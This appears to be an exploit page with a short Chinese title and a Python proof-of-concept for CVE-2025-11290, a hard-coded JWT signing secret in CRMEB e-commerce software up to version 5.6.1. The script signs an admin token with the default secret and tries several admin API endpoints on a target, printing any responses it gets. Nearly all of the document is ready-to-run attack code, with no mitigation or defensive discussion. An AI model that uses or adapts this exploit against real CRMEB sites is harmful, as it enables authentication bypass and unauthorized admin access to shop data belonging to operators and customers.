CVE-2025-11290 CRMEB JWT硬编码密钥漏洞

# CVE-2025-11290 - CRMEB JWT Hard-coded Secret PoC # Exploit for hard-coded JWT HMAC secret in CRMEB <= 5.6.1 import jwt import requests import json import time TARGET_URL = "http://target-crmeb-site.com" # Hard-coded default JWT HMAC secret used by vulnerable CRMEB versions DEFAULT_SECRET = "default" def forge_jwt_token(user_id=1, username="admin"): """ Forge a JWT token using the hard-coded default secret """ payload = { "id": user_id, "username": username, "iat": int(time.time()), "exp": int(time.time()) + 3600, "role": "admin" } # Sign JWT with the known hard-coded default secret token = jwt.encode(payload, DEFAULT_SECRET, algorithm="HS256") return token def exploit(target_url): """ Exploit the hard-coded JWT secret vulnerability """ # Step 1: Forge admin JWT token forged_token = forge_jwt_token(user_id=1, username="admin") print(f"[+] Forged JWT Token: {forged_token}") # Step 2: Attempt to access protected admin endpoint headers = { "Authorization": f"Bearer {forged_token}", "Content-Type": "application/json" } # Step 3: Try common admin endpoints admin_endpoints = [ "/api/admin/userinfo", "/api/admin/index", "/adminapi/system/config", "/api/user/info" ] for endpoint in admin_endpoints: url = target_url + endpoint try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS - Access granted at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error at {endpoint}: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-11290 - CRMEB JWT Hard-coded Secret Exploit") print(f"[*] Target: {TARGET_URL}") exploit(TARGET_URL)